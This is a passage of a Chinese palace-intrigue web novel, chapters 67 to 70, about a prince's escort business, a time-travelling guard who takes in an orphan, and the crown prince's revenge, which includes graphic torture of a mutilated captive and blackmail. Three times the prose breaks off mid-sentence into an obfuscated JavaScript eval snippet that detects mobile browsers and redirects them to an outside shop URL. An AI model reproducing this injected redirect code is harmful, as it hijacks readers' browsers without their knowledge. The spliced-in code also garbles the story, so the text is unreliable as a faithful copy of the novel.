“陈老板，咱们马帮三天前就打过招呼了，这趟货必须由我们送。”疤脸汉子声音粗哑，“你是把马帮的话当耳旁风？” 铺内，五十来岁的陈老板背着手站在柜台后，面色不改：“兄台，您这话说得不对。货是我的货，我想让谁送，就让谁送。镖局价钱公道，还签契约文书，出了事照价赔偿。您马帮呢？除了强买强卖，还会什么？” “你！”疤脸汉子脸色一沉，“给脸不要脸！” “我就是不要这个脸了。”陈老板冷笑，“你们马帮横行市集不是一天两天了，我今天就明白告诉诸位，往后我陈家的货，都走镖局！” 这番话说得斩钉截铁，铺外围观的街坊邻居都暗暗吸气。马帮在延州地面嚣张惯了，还没见过这么硬气的商户。 疤脸汉子眼中凶光一闪，想起尉迟拓嘱咐的话，“吓唬吓唬就行，别真动手”，可眼前这姓陈的态度实在嚣张。他回头看了眼身后七八个兄弟，个个摩拳擦掌，早已按捺不住。 “弟兄们，教教陈老板延州的规矩！” 棍棒齐举，一场混战在皮货铺前爆发。陈老板和两个伙计也抄起门闩、板凳抵挡，一时间棍棒相交，闷响连连。陈老板看似文弱，身手却意外灵活，几个回合下来，竟与马帮众人打得有来有回。 打斗中，一个马帮汉子被陈老板一板凳砸中肩头，踉跄后退，恰在此时，一列车驾自街角转来。 “砰”的一声，那汉子后背结结实实撞在了车辕上。 车驾猛然停住。驾车的人勒住缰绳，厉声喝道：“大胆！何人敢冲撞晋王殿下车驾！” 这一声如惊雷炸响，打斗瞬间停止。马帮众人脸色阴沉，陈老板也放下手中板凳，垂手而立。 车帘被掀开，露出一张面无表情的脸。叶望扫视现场，目光落在撞上车辕的马帮汉子身上。 “殿下恕罪！小人无心之失。”那人自觉不妙，伏跪在地，低声请罪。 葵生已跳下车辕，不由分说对随行护卫道：“将这群聚众斗殴的狂徒拿下！延州城天子脚下，岂容此等恶徒横行！” 不过半日，延州府衙便派人将涉事马帮众人全数拘押。经查，马帮不止此次威吓商户，近一月来还有多起类似事件，只是苦主畏惧马帮势力，不敢报官。 因着此事牵扯晋王，府衙不敢耽搁，办案前所未有的迅速，仅三日后，判决下达：马帮数人以“扰乱市集、强夺生意”之罪，杖责三十，押入大牢，秋后流放三百里。马帮被勒令解散，不得再于延州境内经营货运。 这桩案子成了延州城街头巷尾的谈资。百姓拍手称快之余，更多商户开始悄悄打听那家镖局的行情。 “殿下，府衙那边判了。”青戈将府衙的文书复述了一遍。 叶望正在看一份文书，闻言头也未抬，只淡淡道：“嗯。陈老板处的酬劳付清了？” “付清了，按约定双倍。”青戈答。 前几日，面对马帮持续的围追堵截，叶望同叶朗商量了个对策。通过试探商户的态度，挑选对马帮积怨已久的商户，配合他们演这出戏。商户有意忤逆马帮，待其上钩，再将事情闹大，迫使官府出面。如今看来，成效显著。 叶望抬起眼，眼中掠过一丝极淡的弧光：“经此一事，马帮这个地头蛇算是拔了。其他商户看到马帮倒了，对我们镖局的疑虑也该消了。后面的事，你知道该怎么做。” “属下明白。” 这场风波后，镖局的生意肉眼可见地红火起来。原本观望的商户纷纷上门，短短一月，接到的单子番了几番。几家分店陆续在延州各坊市开张，还在城郊新置了五十亩地，建起营房、马厩和训练场。 每日天未亮，练场上便传来吆喝与兵器碰撞声，新招的镖师在此练习拳脚、刀棍与骑术。基地内规矩分明，晨起操练、饭后上工、轮值守夜，一切井然有序。 —— 不知不觉已至初夏，季辞秋身为云府的护卫，住在西侧院外围的那排连房内，屋对侧有一扇门，可直通府外。 大清早，季辞秋打开房门，朝外张望了一下，确认没有看见那道身影后，轻吁了口气。前几日，她于街上又偶遇了那个天不怕地不怕的少女，少女换回了先前那身破旧的衣裳，唯有看她的一双眼亮得惊人。她又像从前那样远远跟着她，她索性没管，径自回了云府。哪知后头接连几日，那少女均宿在不远处，见她开门，想靠近却又不敢，只可怜兮兮地看她。她狠了狠心，没有搭理。 今日走了，想来是彻底灰心了吧。她默默想着，心里并未松快。自阿黎一事后，她开始有意遏制自己与他人建立联系。倘若在广陵的那日，她没有为躲避眼线而结识阿黎一家，结果会不会不一样？她总是忍不住想。她的存在本就是这个世界的漏洞，而作为漏洞，自然要少与人接触，免得殃及无辜。她低垂下头，情绪泱泱。 “呲啦”一声响，她一个激灵，见那个瘦小的身影沿着树身滑到地上，跑至她身前，将一大捧什么塞到她怀里。 季辞秋愣愣接过，低头看了一眼。竟是一大束刺槐花。采摘者显然不懂怜香惜玉，连带着枝桠一起折了下来。 她望着怀里蝴蝶般零星的白色小花，在带刺的层叠枝桠间争先恐后地冒出头，叹了口气：“给我这些做什么？” “你……不开心，花……开心。”少女小心翼翼看她一眼，慢吞吞道。 捧着花的手捏紧了些，能感觉到细密的刺硌着皮肤。季辞秋垂目，看她小小的脸上又多了几道伤痕，喉头滚动，又叹了口气：“为何一直跟着我？” 少女听了这话，以为季辞秋要赶她走，忙垂下头：“你……对我好，旁人……不好。” “给你吃的就是对你好了？”季辞秋不假思索道，似是跟自己较劲。 哪知少女仔细想了想，认真点了点头。 季辞秋还欲说什么，却听“咕噜”一声，自少女的肚子发出。二人沉默，良久她开口：“饿了？” 少女涨红着脸，点点头。 早市摊上，季辞秋看着眼前的少女狼吞虎咽，不由得抓了抓脑袋。说好了不管此事，怎得还是没忍住？ “你叫什么名字？”她问道。 少女停下手上的动作，摇头：“没有名字。” “这儿就你一个人吗？” 少女点头，眼神暗了暗：“爹……娘……有弟弟，把我……卖了。” 季辞秋沉默。 “你……平日都从何处找吃的？” “垃圾堆，”少女想了想，又补充道，“有时……偷抢……有好东西。” “往后，有何打算？” 少女沉默地嚼着口中的胡饼，好一会儿，似是下了莫大的决心，瞧着她小声道：“往后……跟着你……” “跟着我？”季辞秋默了默，“跟着我可不像你想得那样好，有很多危险，甚至会丢了性命。” “跟着你。”少女不依不挠，又重复了一遍。 季辞秋无奈摇头，叹了口气。她默不作声地陪了少女一会，眼看时辰不早，想起今日还有单子要做。 “掌柜，”她起身结了饭钱，同少女打了声招呼，“你慢慢吃，我有事先走了。” 说来也怪，这晋王府的管事不知从何处知了她这门生意，竟约她来府上帮忙做账。她先前接的皆是中小商户的单子，哪算过这么大的账，更何况是晋王府上的，也就意味着有可能会撞见叶望……原本打算推了，奈何酬劳太过丰厚，实在叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236084|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人难以拒绝。 罢了，自己是去挣银子的，银子到手就走。她对自己说。 “这边请。”得知来人身份，黎叔迎了上来，将她带至前院的东厢。 厢房开阔，最里头隔出一整间，架上桌上摆的皆是密密麻麻的卷册，应是账房了。 王府方来延州数月，便有这么多账册了？季辞秋心中疑惑。 黎叔似是看出她的迟疑，笑着解释：“这些皆是府上经年累月积攒的。” 季辞秋扫了几眼，架上的卷册分门别类、整齐有序地摆着，一目了然。有这样专业出色的账房先生，请她这野路子作甚？她心中更疑惑了。 “姑娘，今日先理这些。”黎叔一边说着，一边递过来一份薄薄的账目。 “就这些？”季辞秋呆了呆，这账目估摸着一个半时辰便能理完，而她可是专门为此预留了一整日的时间。 黎叔笑着点头，没多说什么。 “那这工钱......？” “姑娘放心，依照约定按日结清。” 季辞秋目送黎叔的背影，目瞪口呆。这是......做慈善？罢了罢了，既有这样的好事，高兴还来不及呢。她瞧着这晋王府家大业大，多给点酬劳怎么了。 她不再纠结，抄起纸笔开始理账。 王府门外，云知意亮明身份，被小厮请入府中。 “云姑娘？”黎叔显然有些意外，面上带着惯常的恭敬，“不是约的午后么？” “商行有些急务，怕下午匆忙，便提早来了。”云知意将预先想好的说辞轻轻带过，指尖却不自觉地蜷了蜷。 自那日诗会叶望为她解围后，两人之间那点若有似无的牵连仿佛又沉入静水，再不起波澜。她感到疲惫，心存退意，可冯如兰同她分析了一通，说叶望在诗会上替她解围，证明她对他还是不一样的，至于不一样在哪，她也没说明白。这样模糊的念头在她心里悬了几日，不上不下，实在磨人，她不想再猜了。正值季末，商行例行同供货人核算货款，她决定借着这由头，找叶望当面问清。 黎叔引她沿着假山另一侧的小径往园中走。绕过一丛翠竹，便见水边凉亭里，叶望独自坐着，手中握着一只青瓷茶盏，却未饮，目光静静地投向远处，侧影里透出一种云知意从未见过的怔忡——一种专注的、近乎失神的凝望。 她顺着他的视线看去。 东厢房那扇雕花窗敞着，一个青衣女子正临窗而坐，低头执笔，神情认真。云知意认出来了，那是商行前些日子新来的护卫，听说从京城而来，话不多，做事却极细致。 心里好像被细针轻轻扎了一下，泛起一阵短促的涩意。可紧接着，那口憋了许久的气，却悄然松了。 原来如此。不必再问，也不必再猜了。 她敛了神色，举步上前。 叶望听见脚步声，转过头来。接下来的交谈异常顺畅。账目、货期、下一季的采买计划，云知意说得条理清晰，叶望也听得认真，偶尔提点两句，皆是就事论事。 季辞秋将最后一笔账目核对清楚，合上册子，轻轻揉了揉手腕。 窗外鸟鸣清脆，她起身准备去找管事交还账册。推开房门，日光和煦，她的目光不经意地掠过园中那方水亭。 亭中两人对坐。云家小姐言笑晏晏，神色明亮；对面的叶望虽仍是那副淡然模样，却微微向前倾着身，是一个倾听的姿态。晨光为他们镀上一层淡淡的金边，远远看去，和谐得如同画中景。 季辞秋的脚步停了一停。 心里某个角落，莫名空了一下，很轻，很快。她想起云知意爽利的性情、明丽的笑容，还有她看着叶望时眼里藏不住的光——是个很好的姑娘。他们看起来……很相配。 她收回目光，转身沿着另一条回廊静静离去。 68. 仇恨 东宫寝殿内，烛火幽微。 叶玄又一次从那个纠缠他多年的梦魇中惊喘着挣扎出来。梦里，他还是那个瘦小的孩童，因一时贪玩跑去废弃的暖香阁，不想却撞见一生难以挥去的阴影。 仍是那张紫檀木床，他蜷缩在床底，死死捂着嘴，指甲掐进掌心的嫩肉里。粗重的喘息与女子压抑的、破碎的痛呼交织在一起，撞击着他的耳膜，也凌迟着他的心脏。透过床幔垂下的缝隙，他能看见那片刺目的紫，象征三品以上大员的官袍颜色，如同山峦般压在母亲纤弱的身躯上。他浑身抖得厉害，牙齿咯咯作响，却连一丝呜咽都不敢泄露。 不知过了多久，床上的动静停了，只听见那人慌乱地系着衣带，匆匆离去。他连滚爬爬地从床底钻出，扑到床边，颤抖着手去探母亲的鼻息……冰凉的触感尚未明晰，床上原本一动不动的人却猛地睁开了眼。那双美丽的眼睛里只剩浑浊的眼白，直勾勾地盯着他，枯瘦如柴的手闪电般伸出，尖锐的指甲狠狠掐住了他的脖颈。 “殿下！殿下！”侍女惊慌的声音将他从窒息般的梦魇中拉回现实。叶玄猛地坐起，额际冷汗涔涔，眼中猩红的杀意与刻骨的仇恨尚未褪去。他一把将上前想为他擦拭冷汗的侍女狠狠掼到地上，喉咙里发出野兽般的低吼。 “滚！” 侍女连滚带爬地退下。叶玄喘息片刻，眸中的混乱逐渐被一种冰封的阴沉取代。他赤脚下榻，对阴影中无声侍立的成影道：“去旧宅。” 马车碾过寂静的街道，停在齐王府。旧宅已搬空，只有一物留在了这里。 叶玄径直走向偏院最深处一间上着沉重铜锁的厢房。锁簧弹开的声音在死寂的院落中格外清晰。推开门，一股混合着陈旧灰尘与浓重血腥药味的怪异气息扑面而来。 房间空旷，几乎没有任何陈设，只在正中摆着一张特制的木桌。桌上，放着一个硕大的陶瓮。 瓮口处，露出一颗光秃肮脏的人头，面皮皱缩，五官模糊。一双眼睛的位置，是两个结了深褐色血痂的窟窿，耳朵也被割去，只剩两个扭曲的孔洞。 叶玄缓步走近，脸上竟浮起一丝异常温柔的、令人毛骨悚然的笑容。他伸出手，指尖轻轻拂过那人彘干裂起皮的残存头皮，动作近乎爱抚，声音却阴冷如毒蛇吐信：“韩大人，许久不见。” 他从怀中取出一根细长的银针，慢条斯理地、一寸寸刺入人彘肩颈某处看似完好的皮肤，缓缓捻动。那具早已残破不堪的身躯猛然一阵剧烈的抽搐，喉咙里发出“嗬嗬”的、不成调的闷响。 “疼吗？这就对了。”叶玄的笑意更深，眼中却是一片荒芜的冰冷，“我得让你时时刻刻都记着——记着你在这瓮里熬过的每一天，都是怎么来的。” 他猛地抽出银针，带出一丝暗黑的血迹。声音陡然转沉，裹挟着梦魇里未曾消散的寒气：“也让你记着，那日……那张床上，你对我母亲做了什么。” “听见了吗？”他几乎是贴着那头颅的窟窿眼在低语，每一个字都像淬毒的钉子，“我现在是太子了。你当年仗着那点权势，便以为能肆意践踏、能捂住所有人的嘴？可惜啊，床底下还藏着一个……藏着一个如今能把你变成这副鬼样子的人。” 他欣赏着那具躯体即便在如此状态下，仍因极度恐惧或回忆而产生的更剧烈的震颤，缓缓直起身。 “别死，”他轻柔地抚摸着瓮沿，如同抚摸珍贵的瓷器，“你得活着，好好听着。听着我是怎么一步一步，把你在乎的东西，全部碾碎。” “殿下，户部尚书张大人那边，属下委婉提了‘特殊经费’之事，他态度颇为含糊，推说近年国库吃紧，各地用度皆有定数，且陛下盯得紧，恐怕……”成影悄无声息地出现在门口，垂首禀报。 叶玄眉头微皱。广陵私盐案后，宋延重新执掌节度使大权，清理了一批郭统安插的人。郭统如今再难像从前那样，从军费中神不知鬼不觉地挪出大笔银钱，供养他藏在暗处的私兵。那支日渐庞大的军队，每日都是吞金巨兽。 “不肯？”叶玄冷笑一声，将染血的手帕随意丢在地上，“去提醒张尚书，四年前季恪偷挪军费，事后未能及时补回账面，他协助做平账目的卷宗，还原封不动地锁在我书房里。问问他是想继续做他的户部堂官，还是想送全家去诏狱尝尝百般滋味。让他自己选。” “是。”成影应下。 “还有，”叶玄走到窗边，望着窗外沉沉夜色，“派去延州的人，进展如何？” “回殿下，一切顺利。我们的人已分批潜入延州及周边州县，以行商、驿卒等身份作掩护，正在详细摸清各处关隘、军营驻防、粮草囤积点及交通要道。” 叶玄闻言，脸上终于露出一丝真正算得上满意的神情。 “很好。告诉那边，不急，慢慢来。我要的是万无一失。” “属下明白。” 叶玄挥挥手，成影躬身退下，重新没入阴影。 厢房内重归寂静，只剩下那陶瓮中偶尔传来的、微不可察的痛苦抽气声。叶玄转身，再次看向那具承载着他无尽恨意的人彘，目光幽深。 “听到了吗？好戏，才刚刚开始。”他轻声自语，嘴角勾起一抹冰冷彻骨的弧度。 —— 自那日从云华寺的了尘身上得知实情，杜琼玉便一直在寻找礼部司郎中崔烨可能留存的证据。勾墨案发，崔烨被判凌迟，全家发卖或充军，想找证据谈何容易。她思来想去，迟迟未有头绪。 这日，她与春和正于院中晾衣，听见门口一声动静，抬头看去，张展笑嘻嘻地拎着食盒，颇为自然地打了个招呼。 杜琼玉脸色一沉，将手中的裙衫递给春和，快步走到门口。 “做甚么？”她忽略他手中的食盒，没头没尾道。那日二人争吵过后，她那些不堪的经历并未对张展造成任何困扰，第二日仍雷打不动的往她住处送东西。这令她有些头疼，又毫无办法。 “给你带了好东西，”张展理所当然地晃了晃手中的食盒，换上一份神秘兮兮的神色，笑着道，“猜猜是什么？” 杜琼玉抿唇不语。 张展并没指望她说什么，卖了一通关子后，便哗得打开食盒：“玉露团！城西翠云楼家的，你从前最爱吃的。” 食盒里，青瓷盘中端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249614|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端正正摆着几个半透明的团子，如凝脂白玉，边缘缀着金闪闪的碎屑，亮得她眼睛发酸。张展俨然一副兴奋讨好的神情，眼巴巴地看着她，似乎想从她眼中捕捉一丝笑意。 杜琼玉移开视线，扁了扁嘴：“我口味变了。” 张展眼中闪过一瞬的失落，很快振奋起来。“还有还有，”说着变戏法般从身后摸出一盏花灯，“这个可喜欢？” 六角宫灯式样，绢面上工笔绘着魏紫姚黄，灯脚垂落茜色流苏，每一穗都系着极小的银铃。 杜琼玉盯着那盏花灯半晌，眼神复杂地看了他一眼：“司祁......” “等会，”张展很快打断，“玉儿，你若仍想说那日的话，那便不必说了。” 杜琼玉被他一噎，愣在原地。 “说了也是白费力气。”张展又补了一句，语气软和下来，带着些委屈，“你别......老是把我推开了。” 杜琼玉沉默，很轻很慢地叹了口气：“司祁，我现今未有心思......” “你不必有心，只要......不推我就行。” “我还有别的事要做......”杜琼玉接着道。 张展默了默，嘴唇嗫嚅了几下，声音闷闷的：“我知道。你爹的事，对吗？” 杜琼玉猛地抬头。 “云华寺的人和我相熟，我听说你前几日去了寺里，找了个人，过去是宫里人......那日你冒充民女去宫中见你姐姐，我就觉得不简单。” “你还知道什么？”杜琼玉目光灼灼。 防备的眼神，张展有些受伤，如实道：“就这些。”他打量了她半晌，小心翼翼道，“你做这些，我不会妨碍你，我保证。” “我如今在朝中当值，比你好走动，你若有什么事要打听，可以同我说。我是真心想要帮你。”他认真道。 “知道了。”杜琼玉垂下头，没再说什么。 她当然不愿让张展卷入她的私人恩怨，所以这句话听了便也过去，后面的几日，她多处打听崔烨生前的关系，竟真让她找到点什么。 崔烨生平未纳正妻，只有一妾，勾墨案发前两月，他以无所出为由将其遣放，令其逃过一劫。找到女子时，她已嫁作商人为妇。 女子提起崔烨，眼眶有点泛红。“他是个好人。他做了那样的决定，竟还想着我的安危，是我付了他。” “此话怎讲？” “有段日子他时常闷在书房不出，对我亦不冷不热，彼时他爹娘催生催得急，我没得办法，便趁他不注意偷偷跑去书房瞧个究竟……就这么意外看到他同人往来的信件。”她自深柜最底层抽出几张泛黄的信笺，“信件不少，我自最底下抽了几张拿走，本为自保，没想到他之后竟主动遣了我……” “这些我也用不着了，你拿走吧。” 杜琼玉接过，快速翻了翻，眼中一震。信中虽未署名，但从内容和语气看来，对面人似乎是齐王，当今的太子殿下。看样子，是崔烨自请以身请君入瓮，让齐王陪他演这一出。 扯上齐王，事情就难办了，她捏紧信纸，秀眉拧成一条线。 69. 推拒 暮色被云知苍爽朗的笑声撞开。他刚与友人从城外回来，一身风尘仆仆，玄色劲装衬得身形挺拔，随手将马鞭抛给迎上来的伙计，动作利落洒脱。“这趟顺当！”他声音洪亮，带着跑马后的痛快劲儿，一边大步流星走进后院，一边扯松了领口。 可一进书房，那畅快的笑意便淡了几分。桌上那对他昨日特意留下、用锦盒装好的精钢袖箭，仍端端正正地摆在原处，纹丝未动。季辞秋下午来过，却只是按例交了巡防记录，对这明显是赠礼的锦盒，连问都未问一句。 他揉了揉眉心，心中漫起一阵困惑与挫败。他云知苍行事向来光明磊落，喜欢什么便用心去争取，对商行伙计也向来仗义疏财。可到了她这里，他那些引以为豪的真诚与热情，却像碰上了一堵光滑坚韧的软墙，尽数被无声地弹了回来。她不是冷漠，只是平静，一种与人隔绝的平静。 “哟，我威风八面的大哥，怎么在这发愣？”云知意的声音如同她身上那件茜色骑装一样明艳照人，她刚驯完一匹新到的烈马，额间还带着细汗，马尾高束，活力满满地跨进门来。自打彻底抛开对晋王那份无望的念想，她就像卸下了重担，越发神采飞扬，心直口快。 看到桌上的锦盒，她了然于胸，调侃道：“怎么？东西没送出去？” “什么东西？”被点破了心思，云知苍有些慌乱，忙将锦盒盖上，“这是你哥我自己的。” “这么窄，你能带上吗？”云知意无情揭穿。 “我......你......”云知苍涨红了脸，被堵得说不出话。 这副模样，俨然一个情窦初开的青涩男孩。前不久刚过情关的云知意心里表示非常不耻，决定提点他哥一番：“哥，我说话直，你别不爱听。我觉着，白姑娘心里恐怕早就装着人了。那分量，怕不是寻常人能比的。” 云知苍一怔，眉头微锁：“装着人？是谁？你听说了什么？” “我没听说。”云知意忙摆手，回忆起那日在晋王府中看到的那幕，旁敲侧击道，“就是一种感觉。你想想，平日里你我同她相处，她也不是个冷淡的性子，但关系里多走一步的事，她不会做，怕是不打算在此长留。”她顿了顿，斟酌道，“哥，你人好，家世好，样样出众，可感情这事儿，有时候真不是好就能换来的。我怕你一片赤诚，最后却……”她没说完，但意思明白。 另一头，季辞秋抱臂看着面前扎着蹩脚马步、浑身抖得像风中落叶的少女，脸上没什么表情，只吐出两个字：“腰沉。” 这些日子，少女仍跟着她，她并非阻止。她虽因阿黎的事有意回避，但又不能眼睁睁看着女孩挨饿，思前想后，决定先维持这样，好歹能让她不饿肚子。 她给少女取了个名字，叫“长宁”，寓意长久安宁，并且决定教她武功。在这样的乱世，学会武功起码可以保护自己，有能力在危险时逃生。 “腿分开，与肩同宽。你当是蹲坑呢？”季辞秋话音没落，手里不知何时捡来的小树枝就“啪”一下，不轻不重抽在长宁发抖的大腿外侧。 长宁“哎哟”一声，眼泪花差点冒出来，却硬生生憋回去，调整姿势。前几日还温声和气的大姐姐，一到习武时便严厉起来，冷硬，直接，没半点废话。 她不敢抱怨，更不敢偷懒。乱世里，能有一餐饱饭，还有人愿意教她立身的本事，已是天大的恩赐。她拼命调整呼吸，回忆着师父教的口诀，汗水顺着额角滚落。 季辞秋点燃一支香，插在她前头的地上：“维持住，一柱香的功夫就成，我还有别的事，先走了。”又补充了一句，“不准偷懒，练得好，有好吃的。” 长宁眼睛一亮，重重点头。 季辞秋要去的地方，仍是晋王府。这些日子，管事又请她去府上做了几次账，皆是半日不到便能完成的账目，却付了一日的薪酬。这令她既困惑又不安，因此，当黎叔再一次将银子交予她时，她拒绝了。 递出去的手悬在半空，黎叔拿着手里那袋钱，收也不是，送也不是。他额角沁出细汗，显然没料到这姑娘如此执拗。 “姑娘，你做的账目清晰，理货麻利，这些钱……是你应得的。”黎叔试图再劝。 季辞秋退后半步，双手背在身后，摇了摇头。“我干的活，值多少我心里有数。这袋里的数目，远超寻常账房的份例。”她目光清亮，带着不容糊弄的审视，“我不明白，王府若要盘账，什么样的账房请不来，为何偏偏找了我这么个野路子？” “这……”黎叔语塞，眼神不自觉地往侧边厢房方向飘了一瞬。 “若说不出原因，这钱我是左右不会收的，也不敢收。” 就在两人僵持之际，院门边的阴影里，不知何时多了一道颀长的身影。叶望站在那里，一袭墨色常服，几乎融进廊柱的暗影里，唯有那双眼睛，静默地望向她，深沉难辨。 季辞秋迎上他的目光，那里面没有惊讶，没有陌生，只有一种沉静的了然。电光石火间，一个念头清晰起来。她不再看黎叔，转向叶望，径直开口：“殿下认出我了，是不是？” 叶望没有否认，一贯沉默着。 “为什么？”季辞秋追问，声音里带着不解，也有一丝自己未曾察觉的紧绷，“为什么要给我这些钱？如果是因为季恪……因为我是他女儿，殿下想照顾故人之女，那不必如此......” 她吸了口气，思绪有些纷乱。“事情并非殿下想的那样。我是季恪的女儿，可也……不完全是。”穿越附身的离奇经历在舌尖滚过，最终咽下，说出来只会被当作疯话。她拧着眉，试图寻找合适的词句，却发现自己陷入一个悖论，怎么解释都显得苍白无力，末了只能有些挫败地总结，“总之，不是殿下以为的那个样子。殿下不必基于过去给我特殊关照。” 叶望静静地听她说完，面上波澜不惊。直到她话音落下片刻，他才忽然开口，嗓音低沉平稳：“不只是因为这个。” 季辞秋一怔，下意识道：“那是因为什么？” 叶望没有回答。他移开视线，目光扫过院中堆放整齐的货箱，转换了话题：“之后，有什么打算？” 这话题转得生硬，季辞秋心知他无意深谈那个“原因”，也只好按下疑惑。对于去向，她没打算隐瞒，如实道：“继续向北，去长平。” 叶望的神情未起波澜，如一面平静的湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259707|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水，静静地流动。春末夏初的风掠过庭院，带来一丝燥意。他沉默许久，最终只是几不可察地点了点头：“若有什么难处，可来府中寻我。” “多谢。”季辞秋诚心道，随即看向黎叔手中沉甸甸的钱袋，语气坚定，“这钱还请收回，此前清点账目的酬劳已超出许多，实令鄙人惶恐。” 黎叔无奈地看向叶望。叶望微微颔首，示意将钱袋收回。 —— 自那之后，晋王府的管事再没叫她来做账，而龙兴镖局与商行的合作愈发默契，已不再需她随行护卫。是以她转而接手内部事务，负责云府安全。除此之外，她仍断断续续地帮商户做账，渐渐积累了一笔不小的财富，私下添购了马匹和行装。 这日，她同往常一样，按约去一家钱庄盘账。钱庄铺面窄小，位于城西不甚起眼的巷口，柜台上漆色斑驳，仅供附近百姓兑换些银钱碎银，透着一股不甚正规的简朴。 季辞秋在柜后坐下，接过伙计递来的账册，指尖沾了沾墨，便垂眸细看起来。然而，翻过几页，她手指微微一顿，眉心几不可察地蹙了起来。 账目上，近几日连续出现了数笔将整锭官银兑换为散钱的记录。那银锭的标注形制，分明是长安或洛阳官坊所铸。一笔尚可说偶然，但这小半月内，不同账册里竟累积了十余次。 延州乃边镇，商旅往来多用铜钱绢帛，这般成色规整的京城官锭，在此地本就显眼，何况是流入这等不起眼的小钱庄，且如此频繁…… 她心中疑云渐起。近些日子她受托盘理过城中另几家小钱庄的账，似乎也见过类似的痕迹。这么多京城的人，跑来这里干什么？放着正规钱庄不用，跑来这些小钱庄兑钱，瞧着不像光明正大。 盘毕账目，合上册子，她状似无意地问候在一旁的掌柜：“掌柜的，近来生意可好？我看账上，倒有几笔大主顾，用的是上好的官锭。” 掌柜是个干瘦的老头，闻言捻了捻胡须，摇头道：“可不是嘛，老汉我也纳闷。看着装扮倒是寻常，不像豪商，也不似官身，只说是在此地做些买卖。银子倒是足色好银，换得急，也不多言。”他顿了顿，压低些声音，“老汉多瞧了几眼，也瞧不出个所以然，横竖银钱无误便罢了。” 季辞秋点点头，不再多问，结了今日的酬劳，将几串铜钱仔细收好，便告辞出来。 日头已西斜，将人影拉得细长。她走在渐次冷清的街道上，忽地想起晨间出门时，答应过长宁那丫头，若她今日练功有进益，便带好吃的回去。眼前仿佛晃过小丫头亮晶晶满是期待的眼眸，季辞秋脚下转了方向，朝将散的集市走去。 赶在最后一个烧鸡摊子收档前，她买下了一只还温热的烧鸡，荷叶包裹，油香隐约透出。正待离开，隔壁巷口传来一阵略显嘈杂的询问声。 她侧目望去，只见三五个作武生打扮的汉子，手持一卷画，正拦着路过的行人，指着纸上问着什么。季辞秋脚步微缓，想看清那纸上画的是何人。 恰在此时，一个挑着空担的农人匆匆走过，肩头竹筐不经意撞了她一下。季辞秋下意识扶稳手中的荷叶包，再抬眼时，那几个武生已转过巷角，不见了踪影。 70. 戒指 “姐姐回来了！”长宁见季辞秋回来，收了拳架，小跑着迎上来，眼睛亮晶晶地望她。 “练得如何？有没有偷懒？”季辞秋随口问道。 “没有！我保证。”她抹了把额角的汗。 季辞秋眼里带了笑，故意板起脸：“哦？那我可得检查检查。”说着，她忽地将手背到身后，再亮出来时，已多了一个用油纸荷叶裹得严实的包。浓郁的肉香霎时散开。 “哇！烧鸡！”长宁惊喜地叫出声，忍不住咽了咽口水。她接过还有些温热的包裹，小心翼翼地打开，金黄诱人的烧鸡露了出来。她毫不犹豫地撕下一只肥嫩的鸡腿，递到季辞秋面前：“姐姐先吃。” 季辞秋笑着摇头：“买给你的，奖励你用心练功。我不饿。” 长宁却执拗地举着鸡腿，小脸写满坚持：“不行，姐姐不吃，我也不吃。” 见她如此，季辞秋心下一软，只好接过鸡腿：“好，那姐姐陪你一起吃。” 长宁这才眉眼弯弯地笑起来，捧着剩下的部分，小口却满足地咬了下去。久未尝过这般油荤，她吃得格外香甜。 夜里，万籁俱寂。离云府不远的桥洞下，长宁独自睡在自己的小窝，腹中却隐隐绞痛起来。许是太久未沾油腻，肠胃起了抗议。她忍了一会儿，实在难受，只得爬起来，准备去远处寻个僻静地方方便。 月色晦暗，云层偶遮星光。她揉着肚子，迷迷糊糊地朝更黑暗的巷角走去。刚转过一处墙角，忽然听见几声极轻微的衣袂破空之声。 长宁猛地顿住，困意和腹痛瞬间被吓退大半。她屏住呼吸，小心翼翼探头望去，只见数道黑影如同鬼魅，自巷外墙头掠过，悄无声息地翻入了云府一侧的院墙。 她吓得缩回头，心脏怦怦直跳。那些是什么人？贼？还是……冲着姐姐去的？ 恐惧攫住了她，但想到季辞秋可能身陷险境，长宁咬了咬牙，借着阴影的掩护，跌跌撞撞地跑回桥洞，又一路拼命朝着季辞秋所住的、靠近外侧街道的那间厢房奔去。 “姐姐！姐姐！”她不敢大声，只能急促地拍打门板，声音因害怕而带着颤。 门很快开了条缝，季辞秋警醒的脸出现。“长宁？怎么了？” “有、有黑衣人！翻墙进府里了！好几个！”长宁语无伦次，抓住季辞秋的衣袖。 季辞秋神色骤凛，将她拉进屋内，正欲细问，却听另一侧房门传来“咔哒”的一声，杂乱的脚步声直奔这边而来。 “走！”季辞秋当机立断，拉着长宁就跑，跃入夜色之中。 